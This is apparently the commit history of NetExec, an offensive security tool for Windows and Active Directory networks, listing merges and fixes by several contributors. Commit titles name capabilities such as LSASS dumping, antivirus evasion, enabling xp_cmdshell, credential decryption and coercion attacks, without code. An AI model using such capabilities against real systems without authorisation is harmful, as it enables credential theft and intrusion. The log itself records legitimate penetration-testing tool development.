Alexander Neff c6c1c2f14e Update github workflows to py3.13 2025-02-20 18:35:43 -05:00
Alexander Neff 4ffdbde343 Fix python 3.13 logging issue 2025-02-20 18:34:06 -05:00
emre dc2a262598 Update presence.py
bugfix
2025-02-20 20:31:06 +03:00
Alex bba9e72530 Merge pull request #568 from jdholtz/smbexec-timeout
[smb] Always delete output file
2025-02-19 23:57:49 +01:00
Alexander Neff 342a13021b Bug fixes and output formating 2025-02-19 14:38:13 -05:00
Alexander Neff 3235b1d9df Add description to output 2025-02-19 13:53:24 -05:00
Alexander Neff c60141f38b Correct spelling 2025-02-19 13:06:59 -05:00
Alexander Neff 18f7033acd Add salted dpapi decryption for latest veeam installations 2025-02-19 13:06:37 -05:00
Alex bb8f92092d Merge pull request #569 from Pennyw0rth/neff-patch-1 2025-02-19 01:37:21 +01:00
Alexander Neff 0cc9a452f2 Add exception handling for NetBIOSTimeout Exceptions 2025-02-18 12:26:00 -05:00
Alexander Neff 39f1309ff2 Formating 2025-02-18 10:29:49 -05:00
Alexander Neff 1476373519 Change output path from temp to nxc folder 2025-02-18 10:25:43 -05:00
Alexander Neff 4de3f32629 Add exception handling for listing a single folder 2025-02-18 10:24:14 -05:00
jdholtz 1d4b4cbc60 [smb] Always delete output file 2025-02-16 22:56:17 -08:00
Alex c2f85db63b Merge pull request #565 from Pennyw0rth/neff-patch-1 2025-02-12 00:15:38 +01:00
Alexander Neff 5e14baee44 Fix #564 2025-02-11 18:00:08 -05:00
emre a053462e8c Create presence.py
high privilege smb module that traces domain level admin presences in target
2025-02-09 13:03:56 +03:00
Alex 8046495d3f Merge pull request #560 from Pennyw0rth/neff-patch-1
Fix hardcoded option
2025-02-09 02:07:06 +01:00
Marshall Hallenbeck c0fc42ba26 Merge branch 'main' into neff-patch-1 2025-02-08 20:04:56 -05:00
Alexander Neff 5969756b35 Fix hardcoded option to arg 2025-02-08 19:59:50 -05:00
Alex ab34ca7577 Merge pull request #441 from termanix/patch-6
Update users and active-users against anonymous ldap authentication
2025-02-09 00:24:59 +01:00
Alexander Neff f282ca7dae Fix format string 2025-02-08 18:21:34 -05:00
Alex 449ce2468f Merge branch 'main' into patch-6 2025-02-08 23:35:42 +01:00
Alexander Neff d5b5ec9d86 Replace user disabled value with constant 2025-02-08 17:25:45 -05:00
Alexander Neff c7a08866f4 Formating 2025-02-08 17:18:38 -05:00
Alexander Neff 45e5e4c3e8 Improve readability 2025-02-08 17:17:57 -05:00
Alexander Neff b5b9f07575 Simplify logic 2025-02-08 17:08:52 -05:00
Alexander Neff 310cc9b333 Improve readability 2025-02-08 16:10:56 -05:00
mpgn f46f63b86d Merge pull request #537 from Pennyw0rth/backup_operator
Add Backup operators module
2025-02-08 18:32:01 +01:00
Alexander Neff f3ebe6b781 Fix detection if SAM/SYSTEM/SECURITY were deleted 2025-02-08 09:14:43 -05:00
Alexander Neff f6cd501eed Fix imports and don't force quit 2025-02-08 08:33:29 -05:00
Alexander Neff d8020bba2b Add Kerberos support and comments 2025-02-08 08:20:32 -05:00
emre 619e477c1f Create enable_cmdshell.py
high privilege module that enables or disables xp_cmdshell in mssql server
2025-02-08 15:44:15 +03:00
emre fa3eba48df Update dump-computers.py
made some adjustments for better experience
2025-02-08 14:34:04 +03:00
emre 25ac2e2a2a Update dump-computers.py
added fqdn only
2025-02-07 16:56:13 +03:00
emre 8c37f34ace Create dump-computers.py
ldap module
2025-02-07 12:50:50 +03:00
mpgn 78c08dfb6d Merge pull request #552 from jdholtz/smbexec-delete-service
[smb] Always delete service when using smbexec
2025-02-03 08:03:13 +01:00
Alex 9e1643610c Merge pull request #541 from termanix/update-exe-nxc-data
Updated exe files while putting for evasion
2025-02-03 00:45:14 +01:00
Alexander Neff 97fb011169 Simplify code 2025-02-02 18:41:35 -05:00
Alex 3f06ea9812 Merge pull request #542 from termanix/fix-dump-files-deleting
Fix lsass Dump Files Deleting Process When Dump Fail
2025-02-03 00:31:57 +01:00
Alexander Neff f87535ee3a Lint 2025-02-02 18:18:12 -05:00
Alexander Neff cb6cef60e8 Increase readability and don't force quit on error 2025-02-02 18:13:20 -05:00
Alexander Neff 7d918e403b Increase readability 2025-02-02 18:11:09 -05:00
Alexander Neff 056b69a92c Lint 2025-02-02 18:10:01 -05:00
Alexander Neff 34063e3410 Increase readability 2025-02-02 18:09:30 -05:00
Alex 6a6fa94800 Merge pull request #553 from termanix/ruff-fix 2025-02-02 17:50:20 +01:00
termanix 643519ddc1 ruff fixed f-string without any placeholders 2025-02-02 11:41:30 -05:00
jdholtz 7f43b4a4dd [smb] Wrap the service deletion in a separate try/except block 2025-01-30 10:18:14 -08:00
jdholtz d6445d553e [smb] Always delete service when using smbexec 2025-01-29 12:24:56 -08:00
mpgn c904f3aa81 Merge pull request #547 from Joytide/main
Fix: privileged groups SID not found error
2025-01-26 22:14:39 +01:00
Joytide 34f6ce2580 Added debug output on lack of default privileged RID 2025-01-26 02:48:09 +01:00
lap1nou 93a7bd6c7d Added get_credentials and get_crdential function for LDAP protocol 2025-01-23 22:34:15 +01:00
lapinou 30166dd418 Merge branch 'Pennyw0rth:main' into fix-ldap-db 2025-01-23 21:42:04 +01:00
Joytide 8309947719 Fix: privileged groups SID not found error 2025-01-23 16:11:33 +01:00
termanix e5e750d897 Updated for procdump, handlekatz and procdump either 2025-01-23 03:41:01 -05:00
termanix 49220a323d Merge branch 'Pennyw0rth:main' into update-exe-nxc-data 2025-01-22 14:30:58 -05:00
termanix 84d896e22a Merge branch 'Pennyw0rth:main' into fix-dump-files-deleting 2025-01-22 14:30:41 -05:00
Alex 6ce260fca1 Merge pull request #546 from Pennyw0rth/neff-patch-1
Swap cert-pem to pem-cert to match pfx syntax
2025-01-22 13:39:35 +01:00
Alexander Neff 80f528c160 Swap cert-pem to pem-cert to match pfx syntax 2025-01-22 07:33:19 -05:00
mpgn 9511ca2b3b Merge pull request #544 from Pennyw0rth/krb5
Add option generate-krb5-file for krb5 configuration
2025-01-18 22:45:45 +01:00
mpgn a9412abeac Merge branch 'main' into backup_operator 2025-01-18 21:46:56 +01:00
mpgn dd27cc48f0 Merge branch 'main' into krb5 2025-01-18 21:40:59 +01:00
Alex ed89236e12 Merge pull request #545 from Pennyw0rth/ruff2
fix ruff
2025-01-18 21:34:09 +01:00
mpgn 29d94f9baa add test 2025-01-18 19:31:37 +01:00
mpgn e10756a973 add krb5 conf file option for smb 2025-01-18 19:28:19 +01:00
mpgn 8d9b7eede3 fix ruff 2025-01-18 18:36:57 +01:00
mpgn 7bb58133b0 Merge pull request #379 from nikaiw/module_dpapihash
Add dpapi hash module based on the work of @fist0urs
2025-01-18 15:44:15 +01:00
mpgn da3ad306e8 fix review 2025-01-18 14:15:23 +01:00
termanix dd6c62e8c2 Delete funciton created with same as nanodump and handlekatz 2025-01-16 05:18:39 -05:00
termanix fdb1a7993a Fix lsass dump files deleting process when dump fail 2025-01-16 05:12:46 -05:00
termanix 675975e614 Fix procdump deleting when lsass dump fail 2025-01-16 04:46:43 -05:00
termanix 9b1455f77a Updated exe files processsing for evasion 2025-01-15 05:56:50 -05:00
mpgn 5db7e76cf4 Merge branch 'main' into backup_operator 2025-01-14 20:17:46 +01:00
zblurx bf6fd5e91f update e2e 2025-01-14 16:26:44 +01:00
zblurx 66500bf2db update with latest dploot changes 2025-01-14 16:23:00 +01:00
zblurx b250e1d9fd Merge branch 'main' into module_dpapihash 2025-01-14 15:55:40 +01:00
zblurx a5ec90e402 Merge pull request #539 from Pennyw0rth/dploot_upgrade
update dploot to 3.1.0
2025-01-14 15:53:57 +01:00
zblurx 142530ca49 update dploot to 3.1.0 2025-01-14 14:50:58 +01:00
mpgn 5e04926d7e update module 2025-01-13 21:51:22 +01:00
mpgn f999da0a31 update module 2025-01-13 20:52:52 +01:00
mpgn 5a63253d16 update module 2025-01-13 20:50:11 +01:00
Alex 835be02966 Merge pull request #538 from Pennyw0rth/neff-update-spec
Fix spec file
2025-01-12 21:02:41 +01:00
Alexander Neff df0b4bba3a Add oscrypto from github to fix openssl issue 2025-01-12 14:58:32 -05:00
Alexander Neff 72ff0ae041 Fix spec file 2025-01-12 09:28:13 -05:00
Fagan Afandiyev 2f1bc026cc Delete nxc/modules/marbdawg.py
Signed-off-by: Fagan Afandiyev <[email protected]>
2025-01-10 19:19:35 -05:00
FaganAfandiyev a25e26b38d marbdawg beta 1.0 2025-01-10 19:17:37 -05:00
mpgn d11532c95a remove useless code 2025-01-10 10:29:49 +01:00
mpgn d666ff3f4a fix review 2025-01-09 22:20:58 +01:00
mpgn 333a7f31de fix review 2025-01-09 22:17:15 +01:00
mpgn 74d8787166 fix review 2025-01-09 22:16:13 +01:00
mpgn 93acdba831 fix review 2025-01-09 22:14:25 +01:00
mpgn bb87479069 add test 2025-01-09 21:05:05 +01:00
mpgn 11062abd4b add exit if not right 2025-01-09 20:44:00 +01:00
mpgn 923fc4625f add backup_operator module 2025-01-09 20:09:23 +01:00
mpgn 5103f57fac Merge pull request #536 from Pennyw0rth/pfx_fix
fix pfx auth on non dc
2025-01-07 13:02:48 +01:00
mpgn 4a3f3e3120 use kdchost 2025-01-07 16:15:08 +01:00
mpgn 26e4ce4b11 use kdchost 2025-01-07 16:10:25 +01:00
mpgn 905f63677c fix pfx auth on non dc 2025-01-07 16:05:12 +01:00
FaganAfandiyev 4e6b978406 Ruff changes 2025-01-06 18:39:04 -05:00
FaganAfandiyev 74f80e67ac Default value added to OLDPASS and OLDNTHASH option 2025-01-06 18:30:46 -05:00
FaganAfandiyev 4604d494f1 Fixing output types 2025-01-06 17:30:19 -05:00
Fagan Afandiyev 7371dea334 Merge pull request #1 from termanix/changepassupdate
Improvements on STATUS_PASSWORD_MUST_CHANGE and STATUS_PASSWORD_EXPIRED
2025-01-06 17:26:40 -05:00
mpgn 5d680a9288 Merge pull request #534 from Pennyw0rth/nosmbv1
switch default conn from smbv1 to smbv3
2025-01-06 21:23:14 +01:00
mpgn 501c9e0c10 Merge branch 'main' into nosmbv1 2025-01-06 21:20:11 +01:00
mpgn 3ee33cdd61 Merge pull request #535 from Pennyw0rth/neff-patch-1
Update license file and lint py version
2025-01-06 21:20:02 +01:00
mpgn a562430416 Merge branch 'main' into neff-patch-1 2025-01-06 21:15:20 +01:00
mpgn 1bfe964aa5 Merge pull request #533 from Pennyw0rth/pfx
add certificate authentication aka pass-the-cert
2025-01-06 21:15:07 +01:00
Alexander Neff 0236ef7877 Fix logic bug when creating smbv1 connection and add timeout check for smbv3 2025-01-06 08:43:49 -05:00
Alexander Neff 33ecfb1965 Remove old smbv1 check 2025-01-06 08:43:22 -05:00
Alexander Neff 5aca57804c Lint 2025-01-06 07:46:14 -05:00
Alexander Neff 36eedde236 Update linting to py3.10 2025-01-06 07:46:09 -05:00
Alexander Neff 3904dcd063 Update license file 2025-01-06 07:45:59 -05:00
mpgn cca63a2e76 force poetry to 1.8 in github action 2025-01-06 10:36:52 +01:00
mpgn a4286ee3ab allow test to be run manually 2025-01-06 09:54:42 +01:00
mpgn 0cbd63aa25 try to fix test 2025-01-06 09:24:49 +01:00
mpgn c8160b6fe5 fix ruff 2025-01-05 02:32:37 +01:00
mpgn e744305427 switch default conn from smbv1 to smbv3 2025-01-05 02:28:00 +01:00
Alexander Neff 5f87918e5f Use NXC_PATH instead of hardcoded path 2025-01-04 14:52:38 -05:00
Alexander Neff 28bc001b46 Formating 2025-01-04 14:51:21 -05:00
Alexander Neff 631107dee4 Move cert auth logic to helpers function 2025-01-04 14:49:57 -05:00
Alexander Neff c71e52dbf8 Pass the target ip to the tools, so that they don't need to resolve the domain 2025-01-04 14:41:44 -05:00
Alexander Neff 716ae2a148 Make sure that the user enters a username for cert auth 2025-01-04 14:41:17 -05:00
mpgn 36ca3a0326 add certificate authentication aka pass-the-cert 2025-01-04 18:36:38 +01:00
termanix cf40b4c69e Merge branch 'Pennyw0rth:main' into patch-6 2025-01-04 09:31:43 -05:00
termanix c0fe839e28 ldap parser stay same as main branch. users and active-users editted for both anon and user auth. 2025-01-04 09:23:11 -05:00
Alex f9ce149d12 Merge pull request #531 from Pennyw0rth/neff-refactor-ssh 2025-01-04 11:49:27 +01:00
Alexander Neff a2ae0bde18 POC for escape to root file system 2025-01-03 20:19:35 -05:00
mpgn fb96e7868c Merge pull request #530 from Pennyw0rth/ldap_socks
fix connection issue with socks ldap
2025-01-03 08:22:38 +01:00
Alexander Neff 23b4a23c5d Readd functionality that key files are stored to db 2025-01-02 18:42:11 -05:00
Alexander Neff 7a6945a789 Add missing database handling 2025-01-02 18:20:38 -05:00
mpgn 56e92220e2 Merge pull request #532 from Pennyw0rth/bh
push bloodhound to 1.8
2025-01-03 00:00:48 +01:00
mpgn 37ae051ad4 fix ruff 2025-01-03 00:14:42 +01:00
mpgn d5c6bd927f push bloodhound to 1.8 2025-01-03 00:09:06 +01:00
Alexander Neff 4303f1d43a Moved to init 2025-01-02 17:54:53 -05:00
Alexander Neff 96d23cd174 Fix windows output 2025-01-02 17:52:47 -05:00
Alexander Neff beee54bea6 Fix debug logging 2025-01-02 17:50:11 -05:00
Alexander Neff caba9f662f Refactor privilege check logic 2025-01-02 17:42:31 -05:00
mpgn fcc22c212d Merge pull request #505 from rtpt-romankarwacik/dcerpc_printerbug
coerce_plus: Support DCERPC for PrinterBug
2025-01-02 22:54:13 +01:00
Alexander Neff cfc8f2fcfa Fix auth 2025-01-02 16:37:57 -05:00
Alexander Neff 6593fa84db Extracting privilege checks from plaintext_login 2025-01-02 16:37:17 -05:00
Alexander Neff 07540ee0c7 Renanem priv functions to reflect its implementation 2025-01-02 16:13:59 -05:00
Alexander Neff 176b9618f1 Move plaintext_login above priv checks 2025-01-02 16:13:16 -05:00
Alexander Neff b02fff7e3c Add handling for missing or wrong key file password 2025-01-02 16:04:44 -05:00
mpgn 3ec787cda2 re-add debug line 2025-01-02 21:59:47 +01:00
mpgn 45b81a4306 fix ruff 2025-01-02 21:56:02 +01:00
mpgn 7296e3c715 fix connection issue with socks ldap 2025-01-02 21:51:39 +01:00
mpgn 74f39f50d6 fix expoitstatus 2025-01-02 20:11:44 +00:00
Roman Karwacik 2c50411a59 fix force push ':( 2025-01-02 20:08:49 +00:00
Roman Karwacik b22c4bc6b4 add break on loop 2025-01-02 20:08:03 +00:00
Alex 121942320e Merge pull request #524 from jdholtz/ssh-file-interaction
ssh: allow for putting and getting files
2025-01-02 19:06:02 +01:00
Alex 59faa48cfd Merge pull request #476 from termanix/patch-8
Improve LDAP dc-list flag
2025-01-01 18:28:04 +01:00
Alexander Neff d8e5e94ccb Add dns options to dc-list 2025-01-01 12:24:46 -05:00
mpgn fbd4e1ae9a Merge branch 'main' into patch-8 2024-12-31 10:02:31 +01:00
mpgn 131e29e117 Merge pull request #529 from XiaoliChan/printnightmare-fix
[PrintNightmare] Add more exception catch in module
2024-12-31 09:57:54 +01:00
XiaoliChan 3b443d7c83 [Module] Add more exception catch
Signed-off-by: XiaoliChan <[email protected]>
2024-12-31 13:22:43 +08:00
Alex 1d55ccf5b1 Merge pull request #528 from Pennyw0rth/neff-rdp-errors
Show error messages when rdp fails
2024-12-30 22:31:07 +01:00
Alexander Neff 7c95169907 Linting 2024-12-30 16:21:48 -05:00
Alexander Neff 57b29bcc71 Simplify code 2024-12-30 16:21:38 -05:00
Alexander Neff 0f810c958d Add errors message to login result for all login methods 2024-12-30 16:20:32 -05:00
Alexander Neff f93e9c3ea4 Add errors message to login result 2024-12-30 16:16:30 -05:00
Alex 2c421a7ed5 Merge pull request #526 from lap1nou/fix-user-desc 2024-12-30 21:13:04 +01:00
lapinou 4100bb3e61 Update ldap.py
Signed-off-by: lapinou <[email protected]>
2024-12-30 19:26:09 +01:00
lapinou 7a98330156 Update database.py
Signed-off-by: lapinou <[email protected]>
2024-12-30 19:18:44 +01:00
lapinou 14c4506767 Update user-desc.py
Signed-off-by: lapinou <[email protected]>
2024-12-30 19:10:35 +01:00
termanix 761da40463 added comment lines
Signed-off-by: termanix <[email protected]>
2024-12-29 23:20:21 +02:00
termanix fb51b53885 update 2024-12-29 15:22:43 -05:00
mpgn 92dc819673 Merge pull request #521 from XiaoliChan/remove-mic-check
[Module] Add remove mic check
2024-12-29 21:18:01 +01:00
XiaoliChan 7a6565c1e1 Merge branch 'main' into remove-mic-check 2024-12-30 00:35:26 +08:00
mpgn 2a15590ba5 Merge pull request #523 from XiaoliChan/force-smbv2
[SMB] Allow force to disable SMBv1
2024-12-29 14:58:19 +01:00
XiaoliChan 281feb3809 [SMB] @mpgn review
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 18:29:05 +08:00
XiaoliChan 964be24cfa [Remove-Mic] Add e2e command
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 15:09:06 +08:00
XiaoliChan 8ad48fb757 [Remove-Mic] Ruff
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 15:07:17 +08:00
XiaoliChan ce963a0fa7 [Remove-Mic] mutiple hosts set 2 False
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 14:59:53 +08:00
XiaoliChan b79ddec91f [SMB] add e2e for '--no-smbv1'
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 01:43:12 +08:00
XiaoliChan d33f1640b7 [SMB] better control of smbv1
Signed-off-by: XiaoliChan <[email protected]>
2024-12-29 01:37:10 +08:00
jdholtz dc39e0e6a9 ssh: allow for putting and getting files 2024-12-27 01:33:50 -06:00
XiaoliChan 3e44b41e8b [Module] Add remove mic check
Signed-off-by: XiaoliChan <[email protected]>
2024-12-27 02:01:39 +08:00
XiaoliChan 1b7dbe3ba1 [SMB] Allow force to use smbv2
Signed-off-by: XiaoliChan <[email protected]>
2024-12-27 01:32:41 +08:00
Alex 32b20cdc22 Merge pull request #522 from Pennyw0rth/neff-fix-514 2024-12-26 16:21:44 +01:00
Alexander Neff c0e618fe41 Fix #514 2024-12-26 08:53:11 -05:00
Alex 14c295923f Merge pull request #520 from lodos2005/patch-2
Rename ldapConnection to the new ldap_connection var #508 #4767762 - Fix Modules
2024-12-26 14:31:41 +01:00
Hakan Yavuz bb378830b3 Rename ldapConnection to the new ldap_connection var #508 #4767762 2024-12-25 13:50:02 +03:00
Alex 07980ea486 Merge pull request #516 from Pennyw0rth/neff-improve-enum_links
Add a query for the linked server config if we are local admin
2024-12-21 15:48:03 +01:00
Alexander Neff 2a98a9255e Add a query for the linked server config if we are local admin 2024-12-21 09:42:32 -05:00
Alex bc2bc32797 Merge pull request #515 from Pennyw0rth/neff-patch-1
Change error to fail message
2024-12-21 15:23:18 +01:00
Alexander Neff 2afb383cdf Change error to fail message 2024-12-21 08:36:55 -05:00
Alex 1e583a066f Merge pull request #368 from Yeeb1/module_snipped
Add new SMB module to download Screenshots created by Snipping Tool
2024-12-21 13:22:10 +01:00
FaganAfandiyev 50d551df54 Comment updates 2024-12-19 23:15:57 -05:00
FaganAfandiyev 70a5e053fc Updated version of change-password module with ruff changes 2024-12-19 23:13:15 -05:00
Alexander Neff 930f045190 Changing logging output 2024-12-19 08:28:27 -05:00
mpgn 4de3126672 Merge pull request #511 from Pennyw0rth/fix_ldap_trust
fix trust relation for ldap
2024-12-19 13:03:11 +01:00
mpgn 73ce6d773f fix trust relation for ldap 2024-12-19 13:55:59 +01:00
mpgn ecd3fcd255 Merge pull request #508 from Pennyw0rth/ldap_wt_smb
Remove smb from ldap proto
2024-12-19 09:15:32 +01:00
mpgn d05aeb5631 Merge pull request #510 from Pennyw0rth/fix_kerberos_trust
fix trust relation for smb
2024-12-19 09:15:20 +01:00
mpgn ea7e0925a1 fix trust relation for smb 2024-12-19 02:28:26 +01:00
Alexander Neff 4767762939 Rename ldapConnection to the new ldap_connection var 2024-12-18 17:31:25 -05:00
mpgn 4a8e702f24 fix hostname 2024-12-18 23:42:25 +01:00
mpgn 1c55fd806a fix ruff 2024-12-18 23:05:52 +01:00
mpgn 02981b187e Remove smb from ldap proto 2024-12-18 23:01:38 +01:00
mpgn 100a878a2c Merge pull request #509 from Mortimus/patch-1
Update pyproject.toml to add missing dependency for wam module
2024-12-18 22:45:30 +01:00
mpgn 59e091ba34 add poetry.lock 2024-12-19 02:37:06 +01:00
Randall Stroup 0b2ffca913 Update pyproject.toml
Updated missing dependency for wam module

Signed-off-by: Randall Stroup <[email protected]>
2024-12-18 14:31:45 -06:00
mpgn 2e1f225859 Merge pull request #506 from Pennyw0rth/ruff
fix ruff
2024-12-18 00:01:19 +01:00
mpgn 4c9db0a377 fix ruff 2024-12-17 21:18:57 +01:00
mpgn 277a78c29c Merge branch 'main' into ruff 2024-12-17 21:15:03 +01:00
mpgn a284b00678 Merge pull request #415 from deathflamingo/main
Added new modules for mssql- namely enum_impersonate, enum_logins,, enum_links, exec_on_link, link_enable_xp, link_xpcmd
2024-12-17 21:13:50 +01:00
mpgn cb44d09df7 fix ruff 2024-12-17 21:08:00 +01:00
mpgn fb369f05b6 Merge pull request #444 from Dfte/SMB]-Add-the-Notepad++-module
[SMB] Add the Notepad++ module
2024-12-17 19:02:20 +01:00
mpgn 278124f289 Merge pull request #451 from Dfte/SMB]-Rework-the-runasppl-module
[SMB] Rework the runasppl module
2024-12-17 18:51:15 +01:00
mpgn 0ff19ac09e Merge pull request #465 from Dfte/Add---shadowrdp-module
Add the shadow RDP module
2024-12-17 18:50:54 +01:00
mpgn 87e383fda5 Merge branch 'main' into Add---shadowrdp-module 2024-12-17 18:48:13 +01:00
mpgn 65e2b3f7a9 Merge pull request #449 from Dfte/SMB]-Powershell-history-module-rework
[SMB] Powershell history module rework
2024-12-17 18:47:13 +01:00
mpgn 25fd5c193a Merge branch 'main' into Add---shadowrdp-module 2024-12-17 18:46:42 +01:00
termanix a9ef92be9b Merge branch 'Pennyw0rth:main' into patch-8 2024-12-17 11:41:44 -05:00
mpgn aa68664ba5 Merge branch 'main' into SMB]-Rework-the-runasppl-module
Signed-off-by: mpgn <[email protected]>
2024-12-17 16:42:08 +01:00
mpgn 9e3ea172ad Merge branch 'main' into SMB]-Powershell-history-module-rework 2024-12-17 16:26:47 +01:00
mpgn fad01c8175 Merge branch 'main' into SMB]-Add---qwinsta-and---tasklist-options
Signed-off-by: mpgn <[email protected]>
2024-12-17 16:17:16 +01:00
mpgn c9ce989b43 Merge pull request #491 from Pennyw0rth/dploot_upgrade
Upgrade dploot to 3.0.3
2024-12-16 22:22:15 +01:00
mpgn 52da03ec1b Merge branch 'main' into dploot_upgrade 2024-12-16 22:08:03 +01:00
mpgn 4516401d15 Merge pull request #456 from lodos2005/patch-1
Add mssql_coerce Module
2024-12-16 22:03:44 +01:00
mpgn 706da13ef8 Merge branch 'main' into dploot_upgrade 2024-12-16 22:03:32 +01:00
mpgn 69715850dc Merge branch 'main' into patch-1 2024-12-16 22:01:36 +01:00
mpgn d32080e507 fix py missing 2024-12-16 21:56:58 +01:00
mpgn 051fa81da4 Merge pull request #492 from Adamkadaban/mssql-rid-brute
Add rid-brute flag to mssql protocol
2024-12-16 21:48:37 +01:00
mpgn 07c15cd413 Merge branch 'main' into mssql-rid-brute 2024-12-16 21:37:34 +01:00
Alex 95b1af5a16 Merge pull request #503 from Pennyw0rth/neff-add-basedn
Add baseDN flag to ldap
2024-12-11 13:13:13 +01:00
Alex dcb3bbd025 Merge pull request #500 from MaxToffy/fix-daclread
Fix TARGET_DN object query
2024-12-11 13:12:59 +01:00
Alexander Neff 9997091980 Add baseDN option for other search queries 2024-12-10 18:29:14 -05:00
Alexander Neff c4671a2c17 Add base-dn options for ldap to fix stuff like #500 2024-12-10 18:27:12 -05:00
Alex 3a446436a0 Merge pull request #502 from lap1nou/fix-nla-screen
Fix RDP '--nla-screenshot' option
2024-12-10 23:50:40 +01:00
Alexander Neff 55c4cfd219 Add log message and use NXC_PATH var 2024-12-10 17:42:38 -05:00
lapinou 8a55f22dc0 Update rdp.py
Signed-off-by: lapinou <[email protected]>
2024-12-10 19:31:17 +01:00
lapinou 5174ce4a6b Update rdp.py
Signed-off-by: lapinou <[email protected]>
2024-12-09 23:09:12 +01:00
lapinou 74eb4cbcc8 Update rdp.py
Signed-off-by: lapinou <[email protected]>
2024-12-09 22:35:02 +01:00
Alex 2c5037f0ab Merge pull request #499 from Joytide/spiderplus-ext-fix
Bugfix: file extension filter of spiderplus was misleading/broken
2024-12-05 13:05:49 +01:00
Joytide bed186712d Merge pull request #1 from termanix/patch-9
Update spider_plus.py for both with and without dots
2024-12-05 11:34:09 +01:00
termanix 3ca3481270 Update spider_plus.py for both with and without dots
Signed-off-by: termanix <[email protected]>
2024-12-05 00:38:41 +02:00
MaxToffy bd50a585a1 Fix TARGET_DN object query
Signed-off-by: MaxToffy <[email protected]>
2024-12-04 11:12:15 +01:00
Joytide af8001591c Bugfix: file extension filter of spiderplus was misleading 2024-12-03 10:53:36 +01:00
Alex 24135483e2 Merge pull request #311 from Disgame/timeroast_module
Timeroast module
2024-12-01 14:37:45 +01:00
Alex d7d7505fa1 Merge branch 'main' into timeroast_module 2024-11-30 12:36:10 +01:00
Alex 45db7e67aa Merge pull request #498 from Pennyw0rth/neff-bug-fixes
Speed improvements and bug fixes
2024-11-30 00:21:00 +01:00
Alex 7b7f4b2475 Merge branch 'main' into timeroast_module 2024-11-29 01:12:57 +01:00
Alexander Neff b9f52fdd4b Formating 2024-11-28 19:00:54 -05:00
Alexander Neff 410e040a28 Don't print an index error with null session, we won't have null user in the db 2024-11-28 19:00:45 -05:00
Alexander Neff 9644cae865 Simplify logging 2024-11-28 18:43:23 -05:00
Alexander Neff 9e024582a4 Add timeout check, to not double check a non existent host 2024-11-28 18:41:10 -05:00
Alexander Neff 8dabb3d0e6 Remove formatter that strips out escape sequence, as already done by Text.from_ansi 2024-11-28 18:27:59 -05:00
Alexander Neff 9d558d95db Remove unnecessary exception info which results in double logs, caused by kwargs passed as exc_info in log record 2024-11-28 17:31:50 -05:00
Alex e19868ecb3 Merge pull request #495 from Pennyw0rth/neff-update-impacket
Update impacket so ldaps channel binding is supported
2024-11-25 22:13:24 +01:00
Alexander Neff 4f10c0b45a Update impacket so ldaps channel binding is supported 2024-11-25 15:49:42 -05:00
Yeeb1 af512f1e6b Modifed Snipped Module 2024-11-24 11:55:39 +00:00
Yeeb1 54fea6358e Created the Snipped SMB Module 2024-11-24 10:33:19 +00:00
Yeeb1 4693d2118e Ran ruff 2024-11-24 10:07:57 +00:00
Yeeb1 cee469bd22 Created gpp_privileges module 2024-11-24 10:03:41 +00:00
Adamkadaban b4b6714125 remove extra newline for better formatting 2024-11-23 21:28:53 -05:00
Adamkadaban 977a3d60a3 add error checking for when not on a domain-joined machine 2024-11-23 15:54:48 -05:00
Adamkadaban b76c848767 comment code 2024-11-23 15:52:05 -05:00
Adamkadaban 07554152db add e2e test 2024-11-23 15:47:45 -05:00
Adamkadaban 6534a4592b remove sid type. unsure if there is any way to query this 2024-11-23 15:34:57 -05:00
Adamkadaban 3b58928ab2 add batch query 2024-11-23 15:28:57 -05:00
Adamkadaban 9b5317c234 add rid-brute argument for mssql 2024-11-23 15:20:24 -05:00
Adamkadaban 29e239469e add initial poc 2024-11-23 15:20:13 -05:00
zblurx 2efaafaf92 update poetry.lock 2024-11-22 17:33:10 +01:00
zblurx 0f98d92340 Upgrade dploot to 3.0.3 2024-11-22 17:18:21 +01:00
termanix 8439d4f9cf Merge branch 'Pennyw0rth:main' into patch-8 2024-11-16 10:05:50 -05:00
Alex 05ad3c6bc4 Merge pull request #488 from TheToddLuci0/add_null_domain_flag
Allow for empty domains
2024-11-15 19:17:54 -05:00
Alex 77e1f88d5b Merge pull request #380 from nikaiw/add_ioxidresolver_option
add an option to ioxidresolver to get only IP values different than targets
2024-11-15 19:06:13 -05:00
Alexander Neff c64cf0a93a Fix module options and rstrip to remove trailing null byte 2024-11-15 18:56:12 -05:00
TheToddLuci0 743076acd3 Allow for empty domains 2024-11-15 17:53:15 -06:00
Alex b3872600e9 Merge pull request #438 from snowpeacock/fix_module_execution_method
Bugfix : exec-method specified in module file is not used
2024-11-15 17:25:17 -05:00
Alexander Neff dca1d088c3 Merge branch 'main' into fix-exec-method 2024-11-15 17:22:04 -05:00
Alex 0da04ddb20 Merge pull request #381 from termanix/FindDelegation
New LDAP Flag Find Delegation
2024-11-14 15:09:32 -05:00
Alexander Neff f5d5a1b4fe Use imported constants instead of redefining 2024-11-14 14:10:13 -05:00
Alexander Neff bac7a34285 Removing disabled account checks, these are already filtered by the ldap query 2024-11-14 06:46:50 -05:00
Alexander Neff 573eb60002 Small formating changes 2024-11-14 06:40:07 -05:00
Alexander Neff 0fc09fae53 Filter only unconstrained delegation on DCs 2024-11-14 06:29:12 -05:00
Alexander Neff 496b002ad2 Remove check for sAMAccountName, there should always be one 2024-11-14 06:22:38 -05:00
Alex 2235050f60 Merge pull request #487 from Pennyw0rth/neff-fix-veeam-output
Fix veeam output
2024-11-13 08:44:34 -05:00
Alexander Neff 3fff8b1721 Remove weird header in PR template 2024-11-13 08:25:58 -05:00
Alexander Neff 620f4208b4 Fix veeam output 2024-11-13 08:23:40 -05:00
Alex dbd20cb72a Merge pull request #481 from Kahvi-0/main
schtask_as - Delete task when there is an error
2024-11-12 17:02:44 -05:00
Alex 08b486da5c Merge pull request #482 from Pennyw0rth/hosts_file
Add option to generate hosts file for smb proto to first blood more quickly on htb
2024-11-12 17:02:00 -05:00
Alex cd75a4c5e9 Merge pull request #486 from j-mie/fix-nmap-parser-ftp
Fix nmap XML parser when looking for ftp service
2024-11-12 16:55:17 -05:00
Jamie Hankins 3358f77d22 Add support for WMI and NFS in nmap XML parser 2024-11-12 17:40:39 +00:00
Jamie Hankins 7586145d24 Fix nmap XML parser when looking for ftp service 2024-11-12 17:08:52 +00:00
